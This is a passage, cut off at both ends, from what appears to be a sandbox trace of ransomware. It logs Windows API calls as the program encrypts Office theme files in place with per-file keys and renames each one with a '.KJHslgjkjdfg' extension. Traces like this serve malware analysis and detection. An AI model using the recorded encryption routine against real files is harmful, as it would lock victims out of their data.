lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.151] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.151] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.151] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x421e6, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x421e6, lpOverlapped=0x0) returned 1 [0197.155] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x421f0, dwBufLen=0x421f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x421f0) returned 1 [0197.158] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.158] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x421f0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x421f0, lpOverlapped=0x0) returned 1 [0197.159] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.159] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x422b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.159] SetEndOfFile (hFile=0x124) returned 1 [0197.161] GetProcessHeap () returned 0x2a0000 [0197.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.161] GetProcessHeap () returned 0x2a0000 [0197.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.kjhslgjkjdfg")) returned 1 [0197.163] CloseHandle (hObject=0x124) returned 1 [0197.163] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0197.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.166] GetProcessHeap () returned 0x2a0000 [0197.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.166] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.167] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.167] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0197.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.169] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.169] GetProcessHeap () returned 0x2a0000 [0197.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.169] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.169] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.169] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.169] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.169] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.169] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.170] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.170] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.170] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.170] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd15a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd15a, lpOverlapped=0x0) returned 1 [0197.172] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd160, dwBufLen=0xd160 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd160) returned 1 [0197.172] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.172] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd160, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd160, lpOverlapped=0x0) returned 1 [0197.173] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.173] SetEndOfFile (hFile=0x124) returned 1 [0197.176] GetProcessHeap () returned 0x2a0000 [0197.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.176] GetProcessHeap () returned 0x2a0000 [0197.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.kjhslgjkjdfg")) returned 1 [0197.178] CloseHandle (hObject=0x124) returned 1 [0197.178] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0197.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.180] GetProcessHeap () returned 0x2a0000 [0197.180] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.180] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.180] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.180] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x2, lpOverlapped=0x0) returned 1 [0197.183] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.183] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.183] GetProcessHeap () returned 0x2a0000 [0197.183] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.183] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.183] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.183] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.183] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.183] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.183] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.183] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.183] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.183] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.184] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc97ce, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xc97ce, lpOverlapped=0x0) returned 1 [0197.197] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc97d0, dwBufLen=0xc97d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc97d0) returned 1 [0197.203] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.203] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc97d0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xc97d0, lpOverlapped=0x0) returned 1 [0197.206] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.206] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc98a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.206] SetEndOfFile (hFile=0x124) returned 1 [0197.209] GetProcessHeap () returned 0x2a0000 [0197.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.209] GetProcessHeap () returned 0x2a0000 [0197.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.kjhslgjkjdfg")) returned 1 [0197.211] CloseHandle (hObject=0x124) returned 1 [0197.211] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0197.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.213] GetProcessHeap () returned 0x2a0000 [0197.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.213] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.213] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.213] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.216] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.216] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.216] GetProcessHeap () returned 0x2a0000 [0197.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.216] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.216] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.216] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.216] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.216] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.216] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.216] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.216] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.216] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.217] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.217] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x106e8, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x106e8, lpOverlapped=0x0) returned 1 [0197.218] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x106f0, dwBufLen=0x106f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x106f0) returned 1 [0197.219] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.219] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x106f0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x106f0, lpOverlapped=0x0) returned 1 [0197.220] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.220] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x107c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.220] SetEndOfFile (hFile=0x124) returned 1 [0197.223] GetProcessHeap () returned 0x2a0000 [0197.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.223] GetProcessHeap () returned 0x2a0000 [0197.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.kjhslgjkjdfg")) returned 1 [0197.225] CloseHandle (hObject=0x124) returned 1 [0197.225] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0197.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.227] GetProcessHeap () returned 0x2a0000 [0197.227] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.227] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.227] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.228] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.228] GetProcessHeap () returned 0x2a0000 [0197.228] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.228] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.228] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.228] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.230] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.230] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.230] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.230] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.230] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.231] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.231] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.231] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x124a0, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x124a0, lpOverlapped=0x0) returned 1 [0197.232] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x124a0, 